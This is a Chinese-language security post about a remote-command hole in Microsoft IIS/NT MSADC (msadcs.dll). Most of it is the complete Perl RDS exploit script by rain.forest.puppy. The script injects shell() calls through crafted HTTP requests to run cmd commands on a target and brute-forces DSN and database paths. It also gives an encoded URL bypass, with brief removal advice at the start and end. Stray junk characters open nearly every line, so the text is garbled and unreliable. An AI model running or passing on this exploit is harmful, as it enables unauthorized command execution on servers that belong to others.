IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Xu6jHJ@ x QDP-E[ 涉及程序:
XnD0eua# Microsoft NT server
y*_K=}pk RTA%hCr! 描述:
=1O?jrl~q 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
AD(xaQ&T e,^pMg~ 详细:
}Bd_:#.mw 如果你没有时间读详细内容的话,就删除:
xOhRTxic c:\Program Files\Common Files\System\Msadc\msadcs.dll
e!6eZ)l 有关的安全问题就没有了。
ubD#I{~J OO$|9`a 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
ACgt"
M.3F $\+"qs) 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Tu==49 关于利用ODBC远程漏洞的描述,请参看:
@sN^BX`z E{<?l 7t http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "=FIFf anLbl#UV 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Q<dba12 http://www.microsoft.com/security/bulletins/MS99-025faq.asp *JwFD^<j *}7U`Aa 这里不再论述。
nz>K{( O(odNQy~ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
r;9z5' f;R>Pr;rD /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
fD0{ 5 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
.6LS+[ Sq<3Rw :r\xkHg/f #将下面这段保存为txt文件,然后: "perl -x 文件名"
So?m?,!W "8FSA`>= #!perl
Ac
J>$L) #
1p~5h(jI # MSADC/RDS 'usage' (aka exploit) script
)mj<{Td` #
l4zw]AYk+X # by rain.forest.puppy
,eDu$8J9 #
<H!O:Mf_p # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
a"k'm}hVY$ # beta test and find errors!
|"_ )zQ )t5;d use Socket; use Getopt::Std;
>n(F4C-pl getopts("e:vd:h:XR", \%args);
TFYw KLW&bJ$|j print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
S3QaYq"v 1}`2\3, if (!defined $args{h} && !defined $args{R}) {
rJX\6{V!_ print qq~
'bl%Y).9w Usage: msadc.pl -h <host> { -d <delay> -X -v }
lz-
iCZ -h <host> = host you want to scan (ip or domain)
s88y{o -d <seconds> = delay between calls, default 1 second
2g0K76=Co: -X = dump Index Server path table, if available
I-TlrW=t -v = verbose
<vL}l: r -e = external dictionary file for step 5
f*v1J<1# {|Bd?U; Or a -R will resume a command session
\,hrk~4U;( #.o0mguU ~; exit;}
4Q$!c{Y
r h+5@I%WX $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
LGAX"/LX if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
A4}#U=3tI if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
.izf#r:< if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
b22LT52 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
pcNSL'u+ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
kwOeHdV^ y^SyhG,V[ if (!defined $args{R}){ $ret = &has_msadc;
;c$@@l die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
7r[' ,!hnm print "Please type the NT commandline you want to run (cmd /c assumed):\n"
V+.Q0$~F5 . "cmd /c ";
\<=IMa0 $in=<STDIN>; chomp $in;
&lU Ny
L $command="cmd /c " . $in ;
RNvQ D@:"f?K> if (defined $args{R}) {&load; exit;}
j!7Qw 8 ZRPE-l_3: print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
my4\mi6P &try_btcustmr;
S{-f$Q* G@B*E%$9 print "\nStep 2: Trying to make our own DSN...";
Tn /Ut}]O &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
22|"K**3J| r
3|4gG print "\nStep 3: Trying known DSNs...";
'd+:D' &known_dsn;
Psp^@ .N!{ U print "\nStep 4: Trying known .mdbs...";
6W$rY] h! &known_mdb;
[1Uz_HY["3 Ajg\aof0{ if (defined $args{e}){
uS&LG#a print "\nStep 5: Trying dictionary of DSN names...";
0`6),R'x &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
jAZ >mo[ 1g~y]iQ print "Sorry Charley...maybe next time?\n";
A*R n<{U exit;
o _(0 7pP+5&* ##############################################################################
95[wM6?J bb}?h]a sub sendraw { # ripped and modded from whisker
4QO/ff[ o sleep($delay); # it's a DoS on the server! At least on mine...
$e*B:}x} my ($pstr)=@_;
k8
u%$G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
m9woredS, die("Socket problems\n");
>gnF]< if(connect(S,pack "SnA4x8",2,80,$target)){
`[OXVs,7" select(S); $|=1;
W"|mpxp print $pstr; my @in=<S>;
8?kP*tmcZ select(STDOUT); close(S);
j3{HkcjJG return @in;
mTJ"l(,3 } else { die("Can't connect...\n"); }}
4T%cTH:.9N 3(C :X1 ##############################################################################
_F^$aZt?e @UV{:]f~e sub make_header { # make the HTTP request
2uEhOi0I my $msadc=<<EOT
bQ"N
;d)e POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
6< >SHw User-Agent: ACTIVEDATA
*%I[ ke * Host: $ip
i%MA"I\9 Content-Length: $clen
` zY!`G Connection: Keep-Alive
DRp&IP< F3Ap1-%z ADCClientVersion:01.06
OT;cfkf7 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
-zTEL(r M!#AfIyB --!ADM!ROX!YOUR!WORLD!
E23w *'] Content-Type: application/x-varg
q1w|'V Content-Length: $reqlen
S~> 5INud xD4$0Ppu EOT
ZtR&wk ; $msadc=~s/\n/\r\n/g;
26 ?23J
; return $msadc;}
Dp`HeSKU^
$WR? ##############################################################################
Wy.";/C Je@k iE sub make_req { # make the RDS request
kN.B/itvA my ($switch, $p1, $p2)=@_;
{"jd_b& my $req=""; my $t1, $t2, $query, $dsn;
gApz:K[l _YLUS$Zw if ($switch==1){ # this is the btcustmr.mdb query
!*_K.1' $query="Select * from Customers where City=" . make_shell();
sl^n6N $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
@mNJ=mEV $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
9x[ U$B +6oG@ elsif ($switch==2){ # this is general make table query
jq[x DwPG $query="create table AZZ (B int, C varchar(10))";
;NP[_2|-, $dsn="$p1";}
B4^`Sw >(3'Tnu elsif ($switch==3){ # this is general exploit table query
~~q}cywBk $query="select * from AZZ where C=" . make_shell();
{_(+>v"eJ $dsn="$p1";}
Zih ?Bm lV)G@l[1 elsif ($switch==4){ # attempt to hork file info from index server
NpR6 $query="select path from scope()";
3nrqo<X $dsn="Provider=MSIDXS;";}
%Hwbw],kl8 "wINBya'M elsif ($switch==5){ # bad query
q#'VJA:A5& $query="select";
p[-{]! $dsn="$p1";}
k}U
JVH21k h0lu!m#\_ $t1= make_unicode($query);
`|?]CkP $t2= make_unicode($dsn);
nE7JLtbH $req = "\x02\x00\x03\x00";
SOj`Y|6^: $req.= "\x08\x00" . pack ("S1", length($t1));
X4'kZ'Sy< $req.= "\x00\x00" . $t1 ;
OXCQfT@\ $req.= "\x08\x00" . pack ("S1", length($t2));
r0{]5JZt/ $req.= "\x00\x00" . $t2 ;
:".w{0l@ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
]u0Jd#@ return $req;}
a_{6Qdl dyO E6Ex ##############################################################################
s:b"\7 qtY
m!g sub make_shell { # this makes the shell() statement
\8>oJR 6 return "'|shell(\"$command\")|'";}
F@EJtwLd5y >A=\8`T^ ##############################################################################
(bvoF5% <xqba4O sub make_unicode { # quick little function to convert to unicode
{ 8p\Y my ($in)=@_; my $out;
JiA'BEJN for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
SX_4=^ return $out;}
H(&Z:{L t!t=|JNf{ ##############################################################################
[O1|75 CKd3w8; sub rdo_success { # checks for RDO return success (this is kludge)
t!~S9c my (@in) = @_; my $base=content_start(@in);
+ Kk@Q if($in[$base]=~/multipart\/mixed/){
u|OtKq return 1 if( $in[$base+10]=~/^\x09\x00/ );}
{g_@Tuu return 0;}
.`J:xL%Z Gkmsaf> ##############################################################################
"lrA%~3%[P N,|r1u 9X# sub make_dsn { # this makes a DSN for us
}dKLMNqPA my @drives=("c","d","e","f");
xqv[?
? print "\nMaking DSN: ";
>{t+4 p4k. foreach $drive (@drives) {
qd8pF!u|# print "$drive: ";
u5F}( +4r my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
(3W&AM "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
j|(:I: ] . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
v|&s4x?D $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
=<.F3lo\s return 0 if $2 eq "404"; # not found/doesn't exist
Q.ukY@L.' if($2 eq "200") {
4U{m7[ foreach $line (@results) {
O]ZC+]}/ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
q~O>a0f0 } return 0;}
._,trb>o 50Ad,mn< ##############################################################################
FWY[=S sUciFAb sub verify_exists {
'hIU_ my ($page)=@_;
+>#e=nH my @results=sendraw("GET $page HTTP/1.0\n\n");
M5O'=\+,F return $results[0];}
$eX* s5AgsMq ##############################################################################
3+9
U1:1[. q~h:<,5 sub try_btcustmr {
lD3)TAW@o my @drives=("c","d","e","f");
Ay%:@j(E my @dirs=("winnt","winnt35","winnt351","win","windows");
j)";:v 4swKjN
& foreach $dir (@dirs) {
WjOH/$( print "$dir -> "; # fun status so you can see progress
GA@ Ue9 foreach $drive (@drives) {
}#
Xi`<{ print "$drive: "; # ditto
S_5?U2%D $reqlen=length( make_req(1,$drive,$dir) ) - 28;
b{pg!/N4 $reqlenlen=length( "$reqlen" );
oyW00]ka $clen= 206 + $reqlenlen + $reqlen;
&^+3errO @woC8X my @results=sendraw(make_header() . make_req(1,$drive,$dir));
j+Zt.KXjT if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
#_fY4vEO else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
?gG, t4D >a@>N ##############################################################################
Sn ^Aud jsZY{s= sub odbc_error {
i~8DSshA my (@in)=@_; my $base;
0x71%=4H^x my $base = content_start(@in);
NjP ]My if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
\JU{xQMB $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
bKUyBk,\# $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
N&x:K+Zm. $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qiU5{} return $in[$base+4].$in[$base+5].$in[$base+6];}
:k N5?t= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
VA2<r(y~( print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
?Pnx~m{%* $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
^IgS :H\&2/j ##############################################################################
:~33U)?{T <r;o6>+ sub verbose {
+6376$dC my ($in)=@_;
@/(@/*+" return if !$verbose;
Ut_mrb+W print STDOUT "\n$in\n";}
!.X_/$c @'gl~J7 ##############################################################################
UE;Bb*< R,b59,&3/ sub save {
v
F[CWV. my ($p1, $p2, $p3, $p4)=@_;
o8tS open(OUT, ">rds.save") || print "Problem saving parameters...\n";
v:A:37#I print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
|[ocyUsxX close OUT;}
`j:M)2:*y u G[!w!e ##############################################################################
N8 M'0i? 8f-:d] sub load {
4 l1 i>_R my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
G4m4k open(IN,"<rds.save") || die("Couldn't open rds.save\n");
&-4
?! @p=<IN>; close(IN);
gQR1$n0 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
5qiI.) $target= inet_aton($ip) || die("inet_aton problems");
xE1rxPuq)d print "Resuming to $ip ...";
k(v"B@0
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
c _mq if($p[1]==1) {
N5KEa]k1nw $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
-5xCQJ[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
xD0NZ~w% my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
/x/4NeD if (rdo_success(@results)){print "Success!\n";}
((cb4IX else { print "failed\n"; verbose(odbc_error(@results));}}
bP03G=`6w elsif ($p[1]==3){
lC2?sD$ if(run_query("$p[3]")){
n$
dw<y print "Success!\n";} else { print "failed\n"; }}
Yw[{beo elsif ($p[1]==4){
"uhV|Lk*7 if(run_query($drvst . "$p[3]")){
5 H *> print "Success!\n"; } else { print "failed\n"; }}
M5 `m.n< exit;}
>fbo
r'| yZ~b+=UM ##############################################################################
x
^[F]YU AWL[zixR sub create_table {
t9Vb~ Ubdb my ($in)=@_;
K%PxA#P} $reqlen=length( make_req(2,$in,"") ) - 28;
Gh=<0WaF= $reqlenlen=length( "$reqlen" );
?} X}# $clen= 206 + $reqlenlen + $reqlen;
JT#7yetk' my @results=sendraw(make_header() . make_req(2,$in,""));
^Xa*lR 3 return 1 if rdo_success(@results);
7t3X`db my $temp= odbc_error(@results); verbose($temp);
^r4|{ return 1 if $temp=~/Table 'AZZ' already exists/;
_k|g@" return 0;}
&SrGh$:X UM`nq;> ##############################################################################
X(b1/lzA FF3&Y^+^" sub known_dsn {
V4EM5 Z\k # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
E\iJP^n my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
A!4VjE> "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
FW5}oD(H "banner", "banners", "ads", "ADCDemo", "ADCTest");
yp?w3|`4; /sV?JV[t foreach $dSn (@dsns) {
5}7ISNP;f print ".";
p;e$kg1 next if (!is_access("DSN=$dSn"));
T g{UK if(create_table("DSN=$dSn")){
cyHU\!Z*Zq print "$dSn successful\n";
c>rKgx if(run_query("DSN=$dSn")){
\kyM}5G(<0 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Vpw[B.v print "Something's borked. Use verbose next time\n";}}} print "\n";}
lZvS0JS }+_9"YQ: ##############################################################################
{( dP }\VX^{ K j sub is_access {
Vq U|kv
my ($in)=@_;
yYk|YX(7U $reqlen=length( make_req(5,$in,"") ) - 28;
;.AV;C" $reqlenlen=length( "$reqlen" );
/:KQAM0 $clen= 206 + $reqlenlen + $reqlen;
@ge
LW! my @results=sendraw(make_header() . make_req(5,$in,""));
C
rfRLsN] my $temp= odbc_error(@results);
zu C5@jy.x verbose($temp); return 1 if ($temp=~/Microsoft Access/);
D!/0c]" return 0;}
b@!:=_Mr jJc07r'] ##############################################################################
F: ,#? >"b[r sub run_query {
aH my ($in)=@_;
CdNih8uG $reqlen=length( make_req(3,$in,"") ) - 28;
^6#-yDZC@ $reqlenlen=length( "$reqlen" );
I5Q~T5Ar $clen= 206 + $reqlenlen + $reqlen;
!%V*UR9 my @results=sendraw(make_header() . make_req(3,$in,""));
DiR'p`b~ return 1 if rdo_success(@results);
<uC<GDO my $temp= odbc_error(@results); verbose($temp);
4gya] return 0;}
pkW5D IW mHp] ##############################################################################
=oPng=: q#|r sub known_mdb {
OiF ]_" my @drives=("c","d","e","f","g");
RJLFj my @dirs=("winnt","winnt35","winnt351","win","windows");
BJ2Q 2WW my $dir, $drive, $mdb;
oAaf)?8 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
H<XlUCr_~+ E)Srj~$d # this is sparse, because I don't know of many
:cb[M5c my @sysmdbs=( "\\catroot\\icatalog.mdb",
?jFc@t*\: "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
0NrTJ R` "\\system32\\certmdb.mdb",
&<@%{h@= "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
smbUu/ k0knPDbHv my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
t%:G|n Sz "\\cfusion\\cfapps\\forums\\forums_.mdb",
w0X$rl1 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
>R#9\/s "\\cfusion\\cfapps\\security\\realm_.mdb",
d _uFY: "\\cfusion\\cfapps\\security\\data\\realm.mdb",
C6CGj8G "\\cfusion\\database\\cfexamples.mdb",
w~n kNqm "\\cfusion\\database\\cfsnippets.mdb",
OSj%1KL "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
mgxz1d "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
p8_2y~! "\\cfusion\\brighttiger\\database\\cleam.mdb",
juXC?2c "\\cfusion\\database\\smpolicy.mdb",
1P \up "\\cfusion\\database\cypress.mdb",
/XN*)m "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
n-W?Z'H{r "\\website\\cgi-win\\dbsample.mdb",
[{?;c+[ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
*n,UOHlO "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
J(^
>?d' ); #these are just
69rwX"^ foreach $drive (@drives) {
D*qzNT@`LR foreach $dir (@dirs){
v23TL foreach $mdb (@sysmdbs) {
y6\ [1nZ print ".";
{aT92-D3 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
FJW`$5? print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
-h=c=P if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
tfsh!)u? print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
&`m~o/ } else { print "Something's borked. Use verbose next time\n"; }}}}}
tgc@7 ea>[BB3# foreach $drive (@drives) {
[1mIdwS foreach $mdb (@mdbs) {
bIq-1
Y( print ".";
Xa>}4j. if(create_table($drv . $drive . $dir . $mdb)){
|fx#KNPf] print "\n" . $drive . $dir . $mdb . " successful\n";
NPP3(3C if(run_query($drv . $drive . $dir . $mdb)){
+H[Q~P8'[ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Bg5;Q) } else { print "Something's borked. Use verbose next time\n"; }}}}
%@o&*pF^, }
u^!&{ q A
xRl*B ##############################################################################
??q!jm-m FDl,Ey^r/ sub hork_idx {
?F9hDLX print "\nAttempting to dump Index Server tables...\n";
O-?z' @5cI print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
o%$<LaQG5 $reqlen=length( make_req(4,"","") ) - 28;
9*f2b.Aj $reqlenlen=length( "$reqlen" );
Dxz5NW4 $clen= 206 + $reqlenlen + $reqlen;
jt/l,=9YK my @results=sendraw2(make_header() . make_req(4,"",""));
#DrZ`Aq if (rdo_success(@results)){
WT I 'O my $max=@results; my $c; my %d;
UP5%C; for($c=19; $c<$max; $c++){
9&&kgKKGQ $results[$c]=~s/\x00//g;
m)(SG $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
W6)dUi
:" $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
C5BzWgK $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ZWov_ $d{"$1$2"}="";}
^Kb9@lz/ foreach $c (keys %d){ print "$c\n"; }
LRhP7D+A } else {print "Index server doesn't seem to be installed.\n"; }}
}rFTh I w/hh
4ir ##############################################################################
A>H*`{} $>nkGb%Kp sub dsn_dict {
S.qk%NTTD open(IN, "<$args{e}") || die("Can't open external dictionary\n");
t*eleNYeS~ while(<IN>){
O7! fI'R $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
UUZ6N ZQI next if (!is_access("DSN=$dSn"));
e =0l<Rj if(create_table("DSN=$dSn")){
:v|r= #OI print "$dSn successful\n";
](]*]a4ss if(run_query("DSN=$dSn")){
;L#LDk{Za print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
zojuH8 print "Something's borked. Use verbose next time\n";}}}
3-4Nad print "\n"; close(IN);}
&@-1"-H ,<`|-oa ##############################################################################
pg5@lC]J bCH*8,Bmh sub sendraw2 { # ripped and modded from whisker
F+lm [4n sleep($delay); # it's a DoS on the server! At least on mine...
vcaBL<io my ($pstr)=@_;
-lnTYxo+]^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
A/ox#(!v die("Socket problems\n");
{vf+sf^^q if(connect(S,pack "SnA4x8",2,80,$target)){
G~Sy&XJuq print "Connected. Getting data";
aOaF&6'j open(OUT,">raw.out"); my @in;
N02zPC
8 select(S); $|=1; print $pstr;
%ZJ),9+ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
mrhsKmH close(OUT); select(STDOUT); close(S); return @in;
m$j
n5: } else { die("Can't connect...\n"); }}
a15,'v$O B]&Lh~Im ##############################################################################
fhVbJU >OF:"_fh sub content_start { # this will take in the server headers
wghFGHgw my (@in)=@_; my $c;
NN31?wt for ($c=1;$c<500;$c++) {
6R3"L]J if($in[$c] =~/^\x0d\x0a/){
%4QoF if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
CpBQ>!CW else { return $c+1; }}}
~}hba3&b;# return -1;} # it should never get here actually
~{52JeUc P !gD 3CA ##############################################################################
6,CU)-98G qk"oFP6 sub funky {
>cvE_g"?C my (@in)=@_; my $error=odbc_error(@in);
f\U? :83 if($error=~/ADO could not find the specified provider/){
^bZ<9} print "\nServer returned an ADO miscofiguration message\nAborting.\n";
k~'?"' exit;}
l}U~I
3}). if($error=~/A Handler is required/){
z7NGpA( print "\nServer has custom handler filters (they most likely are patched)\n";
FZeN, exit;}
LAu+{'O\ if($error=~/specified Handler has denied Access/){
0KWy?6 X print "\nServer has custom handler filters (they most likely are patched)\n";
~v{C6) exit;}}
WHhR)$zC mcAH1k e ##############################################################################
[Gh%nsH B^Rw?:hN sub has_msadc {
="'rH.n # my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
$9j>VGf= my $base=content_start(@results);
n1k$)S$iiy return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Wl9I`Itg return 0;}
nr<}Hc^f- u&l>cJ' ########################
*SMoodFBS b#/V; e+d6R[`M 解决方案:
dQWA"6?i 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
%^Q@*+{:f 2、移除web 目录: /msadc